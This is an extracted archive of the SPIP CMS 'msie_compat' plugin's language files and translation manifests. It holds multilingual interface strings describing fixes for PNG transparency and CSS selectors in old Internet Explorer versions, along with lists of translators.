<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=fr_fem" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=it" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=lb" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=nl" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=pt" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=pt_br" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=ru" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=sk" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-msie_compat_ar.php 0000666 00000001440 15252255174 0011547 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'يتيح اختيار وسائل متنوعة
-* لتأمين سلامة عرض ملفات PNG الشفافة في إنترنت إكسبلورر ٦
-* و/او تفعيل علامات أوراق الأنماط في إنترنت إكسبلورر ٦ و٧',
'msie_compat_nom' => 'دعم برامج التصفح القديمة',
'msie_compat_slogan' => 'ملفات PNG وعلامات أوراق الأنماط في برامج التصفح القديمة'
);
?>
msiecompat_de.php 0000666 00000002673 15252255174 0010112 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Diese Konfiguration verbessert die Kompatibilität mit dem Webrowser Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> korrigiert Bilder im PNG-Format und fügt CSS2-Selektoren für MSIE 5 und 6 hinzu (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>. Sie können die Liste der kompatiblen Selektoren, die mit IE7.js und IE8.js hinzugefügt wurden, nachsehen.</a>).',
'choix_ie7squish' => 'IE7-squish korrigiert Bugs aus MSIE 6 (insbesondere verdoppelte Abstände/margin bei Elementen mit float). Es können unerwünschte Nebenwirkungen auftreten. Der Webmaster sollte die Kompatibilität des Codes überprüfen.',
'choix_ie8' => 'IE8.js vervollständigt IE7.js indem Verhaltensweisen der CSS-Selektoren aus MSIE 5 bis 7 hinzugefügt werden.',
'choix_ifixpng' => 'Standardeinstellung, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> stellt die Semitransparenz von PNG-Grafiken in MSIE 5 und 6 her.',
'choix_non' => 'Nicht aktivieren: Meinen Skeletten wird nichts hinzugefügt.',
'choix_titre' => 'Kompatibilität mit dem Microsoft Internet Explorer'
);
?>
paquet-msie_compat_en.php 0000666 00000001157 15252255174 0011554 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Offers different javascript methods to add support for:
-* transparent PNG files to MSIE 6
-* and/or various CSS selectors to MSIE 6 and 7.',
'msie_compat_nom' => 'Support of older browsers',
'msie_compat_slogan' => 'PNG files and various CSS selectors for old browsers'
);
?>
paquet-msie_compat_sk.php 0000666 00000001212 15252255174 0011557 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Umožňuje vám zvoliť si iné metódy:
-* na zabezpečenie zobrazenia priehľadných súborov PNG na MSIE 6,
-* a/lebo aktivovať určité voliče CSS v MSIE 6 a 7.',
'msie_compat_nom' => 'Podpora starších prehliadačov',
'msie_compat_slogan' => 'PNG a voliče CSS pre staršie prehliadače'
);
?>
paquet-msie_compat_nl.php 0000666 00000001212 15252255174 0011553 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Geeft de mogelijkheid om verschillenden methodes te kiezen om:
-* transparante PNG’s onder MSIE 6 goed te tonen
-* en/of een aantal CSS-selectors in MSIE 6 en 7 te activeren',
'msie_compat_nom' => 'Support voor oudere browsers',
'msie_compat_slogan' => 'PNG en CSS-selectors voor ouder browsers'
);
?>
msiecompat_fa.php 0000666 00000001710 15252255174 0010077 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'اين پيكربندي انطباقپذيري سايت همگاني را با اينترنت اكسپلورر بهبود ميدهد
',
'choix_ifixpng' => 'گزينهي پيشگزيدهي، <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> تصاوير نيمهي شفاف را با فرمت پي.ان.چي زير ام.اس.آي.اي 5 و 5 دوباره مستقر ميسازد. ',
'choix_non' => 'غيرفعال: چيزي به اسكلتهاي من اضافه نكن',
'choix_titre' => 'ماكروسافت اينترنت اكسپلورر كامپاتيبليتي (انطباقپذيري)'
);
?>
msiecompat_ru.php 0000666 00000004625 15252255174 0010147 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => '<p>Эта опция позволяет улучшить совместимость вашего сайта с Internet Explorer. </p>
<ul>
<li><a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>default setting</b>) добавить прозрачность PNG файлов для MSIE 5 and 6. </li>
<li><a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> исправляет PNG прозрачность and добавляет поддержку CSS2 селекторов для MSIE 5 и 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>полный список селекторов для IE7.js и IE8.js</a>).</li>
<li>IE8.js улучшает IE7.js CSS селекторами с MSIE 5 по 7.</li>
<li>IE7-squish устраняет три ошибки в MSIE 6 (включая задвоение margin у floating элементов), но может проявляться side effects.</li>
</ul>',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> исправляет проблему с прозрачностью png файлов и добавляет селекторы CCS2 для ИЕ 5 и ИЕ6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'> вы можете посмотреть список доступных селекторов</a>).',
'choix_ie7squish' => 'IE7-squish исправляет три основных бага ИЕ 6 (включая задваивание отступов у floating элементов), но может проявляться side effect.',
'choix_ie8' => 'IE8.js дополняет IE7.js расширяя возможности использовать селекторы CSS IE 5 до IE 7.',
'choix_ifixpng' => 'По умолчанию, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> подключает прозрачность png файлов в броузерах MSIE 5 и 6.',
'choix_non' => 'Отключить: не добавлять iepngfix на сайт',
'choix_titre' => 'Совместимость с Internet Explorer (iepngfix)'
);
?>
msiecompat_lb.php 0000666 00000002501 15252255174 0010105 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Dës Astellung verbessert d’Kompatibilitéit vum ëffentleche Site mam Internet Explorer Browser.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> verbessert d’PNG Biller a fléckt CSS2 Selektoren am MSIE 5 a 6 bäi (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>Lëscht vun de kompatibele Selektore vun IE7.js an IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish verbessert 3 Fehler am MSIE 6 (z.B. den duebele Rand vu floating Elementer), mais et kënnen onerwënschten Effekter optrieden (de Webmaster muss d’Kompatibilitéit kontrolléieren)',
'choix_ie8' => 'IE8.js kompletéiert IE7.js mat méi CSS Méiglechkeeten beim MSIE 5 bis 7.',
'choix_ifixpng' => 'Default Astellung, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> verbessert de Semi-Transparenz-Fehler bei de PNG Biller am MSIE 5 a 6.',
'choix_non' => 'Net aschalten: Näischt bei meng Skeletter bäiflécken',
'choix_titre' => 'Kompatibilitéit mam Microsoft Internet Explorer'
);
?>
msiecompat_ca.php 0000666 00000002544 15252255174 0010102 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => '<p>Aquesta configuració us permet millorar la compatibilitat del lloc públic amb el navegador Internet Explorer.</p>
<ul>
<li><a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>per defecte</b>) restableix la semi transparència les imatges al format PNG a MSIE 5 i 6.</li>
<li><a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corregeix les imatges PNG i afegeix selectors CSS2 per MSIE 5 i 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>podeu consultar la llista de selectors compatibles introduïts per IE7.js i IE8.js</a>).</li>
<li>IE8.js completa IE7.js enriquint els comportaments dels CSS de MSIE 5 al 7. </li>
<li>IE7-squish corregeix tres errors de MSIE 6 (sobretot el doble marge dels elements flotants), però poden aparèixer efectes indesitjables (el webmestre ha de verificar la compatibilitat).</li>
</ul>', # MODIF
'choix_non' => 'No activar-ho: no afegir res a les meves plantilles', # MODIF
'choix_titre' => 'Compatibilitat Microsoft Internet Explorer' # MODIF
);
?>
msiecompat_pt_br.php 0000666 00000002541 15252255174 0010622 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => '<p>Esta configuração permite-lhe melhorar a compatibilidade do site público com o navegador Internet Explorer.</p>
<lu>
<li><a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>padrão</b>) restabelece a semi-transparência das imagens em formato PNG, em MSIE 5 e 6.</li>
<li><a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige as imagens PNG e inclui seletores CSS2 para MSIE 5 et 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>você pode consultar a lista de seletores compatíveis introduzidos pelo IE7.js e IE8.js</a>).</li>
<li>IE8.js complementa o IE7.js enriquecendo os comportamentos do CSS do MSIE 5 a 7. </li>
<li>IE7-squish corrige três bugs do MSIE 6 (notadamente a dupla margem dos elemento flutuantes), mas efeitos indesejáveis podem aparecer (o webmaster deverá verificar a compatibilidade).</li>
</ul>', # MODIF
'choix_non' => 'Não ativar: não incluir nada nos meus templates',
'choix_titre' => 'Compatibilidade com Microsoft Internet Explorer'
);
?>
paquet-msie_compat_es.php 0000666 00000001226 15252255174 0011556 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Permite seleccionar diferentes métodos
-* para garantizar la visualización de archivos PNG transparentes en MSIE 6
-* y/o activar algunos selectores CSS en MSIE 6 y 7.',
'msie_compat_nom' => 'Soporte para navegadores antiguos',
'msie_compat_slogan' => 'PNG y selectores CSS para los navegadores antiguos'
);
?>
msiecompat_fr_tu.php 0000666 00000002562 15252255174 0010636 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Cette configuration te permet d’améliorer la compatibilité du site public avec le navigateur Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige les images PNG et ajoute des sélecteurs CSS2 pour MSIE 5 et 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>tu peux consulter la liste des sélecteurs compatibles introduits par IE7.js et IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish corrige trois bugs de MSIE 6 (notamment la double marge des éléments flottants), mais des effets indésirables peuvent apparaître (le webmestre doit vérifier la compatibilité).',
'choix_ie8' => 'IE8.js complète IE7.js en enrichissant les comportements des CSS de MSIE 5 à 7.',
'choix_ifixpng' => 'Choix par défaut, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> rétablit la semi-transparence les images au format PNG sous MSIE 5 et 6.',
'choix_non' => 'Ne pas activer : ne rien ajouter à tes squelettes',
'choix_titre' => 'Compatibilité Microsoft Internet Explorer'
);
?>
paquet-msie_compat_it.php 0000666 00000001212 15252255174 0011556 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Offre diversi metodi javasciprt per aggoiungere il supporto per
-* immagini PNG trasparenti per MSIE 6
-* e/o attivare alcuni selettori CSS per MSIE 6 e 7.',
'msie_compat_nom' => 'Supporto ai vecchi browser',
'msie_compat_slogan' => 'Immagini in formato PNG e selettori CSS per i vecchi browser'
);
?>
paquet-msiecompat.xml 0000666 00000000255 15252255174 0010742 0 ustar 00 <traduction module="paquet-msiecompat" gestionnaire="salvatore" url="" source="svn://zone.spip.org/spip-zone/_core_/plugins/msie_compat/lang/" reference="fr">
</traduction>
msiecompat_fr.php 0000666 00000002526 15252255174 0010126 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/msie_compat/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Cette configuration vous permet d’améliorer la compatibilité du site public avec le navigateur Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige les images PNG et ajoute des sélecteurs CSS2 pour MSIE 5 et 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>vous pouvez consulter la liste des sélecteurs compatibles introduits par IE7.js et IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish corrige trois bugs de MSIE 6 (notamment la double marge des éléments flottants), mais des effets indésirables peuvent apparaître (le webmestre doit vérifier la compatibilité).',
'choix_ie8' => 'IE8.js complète IE7.js en enrichissant les comportements des CSS de MSIE 5 à 7.',
'choix_ifixpng' => 'Choix par défaut, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> rétablit la semi-transparence des images au format PNG sous MSIE 5 et 6.',
'choix_non' => 'Ne pas activer : ne rien ajouter à mes squelettes',
'choix_titre' => 'Compatibilité Microsoft Internet Explorer'
);
?>
paquet-msie_compat_pt.php 0000666 00000001246 15252255174 0011574 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Permite seleccionar diferentes métodos javascript para:
-* assegurar a exibição de ficheiros transparentes PNG em MSIE 6
-* e/ou activar vários selectores CSS para MSIE 6 e 7.',
'msie_compat_nom' => 'Suporte para navegadores antigos',
'msie_compat_slogan' => 'Ficheiros PNG e selectores CSS para os navegadores antigos'
);
?>
msiecompat_fr_fem.php 0000666 00000002571 15252255174 0010755 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Cette configuration vous permet d’améliorer la compatibilité du site public avec le navigateur Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige les images PNG et ajoute des sélecteurs CSS2 pour MSIE 5 et 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>vous pouvez consulter la liste des sélecteurs compatibles introduits par IE7.js et IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish corrige trois bugs de MSIE 6 (notamment la double marge des éléments flottants), mais des effets indésirables peuvent apparaître (la webmestre doit vérifier la compatibilité).',
'choix_ie8' => 'IE8.js complète IE7.js en enrichissant les comportements des CSS de MSIE 5 à 7.',
'choix_ifixpng' => 'Choix par défaut, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> rétablit la semi-transparence des images au format PNG sous MSIE 5 et 6.',
'choix_non' => 'Ne pas activer : ne rien ajouter à mes squelettes',
'choix_titre' => 'Compatibilité Microsoft Internet Explorer'
);
?>
msiecompat_es.php 0000666 00000002570 15252255174 0010125 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Esta configuración te permite mejorar la compatibilidad del sitio público con el navegador Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige las imágenes PNG y añade selectores CSS2 para MSIE 5 y 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>puedes consultar la lista de selectores compatibles introducidos por IE7.js et IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish corrige tres bugs de MSIE 6 (especialmente el margen doble de los elementos que flotan), aunque puede producir efectos no deseados (el webmaster debe verificar la compatibilidad).',
'choix_ie8' => 'IE8.js complementa a IE7.js enriqueciendo los comportamientos del CSS en las versiones 5 a 7 de MSIE.',
'choix_ifixpng' => 'Seleccionado por defecto, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> restablece la semi-transparencia de las imágenes en formato PNG en MSIE 5 y 6.',
'choix_non' => 'Desactivar: no añadir nada a mis esqueletos.',
'choix_titre' => 'Compatibilidad Microsoft Internet Explorer'
);
?>
paquet-msie_compat_pt_br.php 0000666 00000001210 15252255174 0012246 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Permite selecionar métodos diferentes
-* para garantir a exibição de arquivos PNG transparentes em MSIE 6
-* e/ou ativar certos seletores CSS em MSIE 6 et 7.',
'msie_compat_nom' => 'Suporte a navegadores antigos',
'msie_compat_slogan' => 'PNG e seletores CSS para os navegadores antigos'
);
?>
paquet-msie_compat_fr.php 0000666 00000001157 15252255174 0011561 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/msie_compat/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'msie_compat_description' => 'Permet de sélectionner différentes méthodes
-* pour assurer l’affichage des fichiers PNG transparents sous MSIE 6
-* et/ou activer certains sélecteurs CSS dans MSIE 6 et 7.',
'msie_compat_nom' => 'Support vieux navigateurs',
'msie_compat_slogan' => 'PNG et sélecteurs CSS pour les vieux navigateurs'
);
?>
msiecompat_pt.php 0000666 00000002505 15252255174 0010137 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Esta configuração permite-lhe melhorar a compatibilidade do seu sítio público com o navegador Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrige as imagens PNG e adiciona selectores CSS2 para MSIE 5 e 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'> Pode consultar a lista de selectores compatíveis introduzida por IE7.js e IE8.js</a>).',
'choix_ie7squish' => 'IE7-squish corrige três bugs de MSIE 6 (incluindo a dupla margem de elementos flutuantes), mas podem ocorrer efeitos colaterais (o webmaster deve verificar a compatibilidade).',
'choix_ie8' => 'IE8.js completa IE7.js expandindo os comportamentos CSS de MSIE 5 a 7.',
'choix_ifixpng' => 'Escolha por defeito, <a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> restaura a semi-transparência em imagens PNG em MSIE 5 e 6.',
'choix_non' => 'Desactivar : não adicionar nada aos meus modelos',
'choix_titre' => 'Compatibilidade com Microsoft Internet Explorer'
);
?>
msiecompat.xml 0000666 00000010756 15252255174 0007454 0 ustar 00 <traduction module="msiecompat" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/msie_compat/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ar" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ast" total="7" traduits="2" relire="0" modifs="1" nouveaux="4" pourcent="28.57">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ca" total="7" traduits="0" relire="0" modifs="3" nouveaux="4" pourcent="0.00">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=de" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=en" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Mark" lien="http://trad.spip.net/auteur/mark" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=es" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=eu" total="7" traduits="2" relire="0" modifs="1" nouveaux="4" pourcent="28.57">
<traducteur nom="otalazt" lien="http://trad.spip.net/auteur/otalazt" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fa" total="7" traduits="4" relire="0" modifs="0" nouveaux="3" pourcent="57.14">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fr" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fr_fem" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=fr_tu" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=it" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=lb" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=nl" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=pt" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=pt_br" total="7" traduits="2" relire="0" modifs="1" nouveaux="4" pourcent="28.57">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ru" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/msiecompat?lang_cible=sk" total="7" traduits="7" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
msiecompat_it.php 0000666 00000002552 15252255174 0010132 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => 'Questa configurazione ti consente di migliorare la compatibilità del sito pubblico con il browser Internet Explorer.',
'choix_ie7' => '<a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corregge le immagini PNG e aggiunge dei selettori CSS2 per MSIE 5 e 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>puoi consultare la lista dei selettori compatibili introdotti da IE7.js e IE8.js</a>).
',
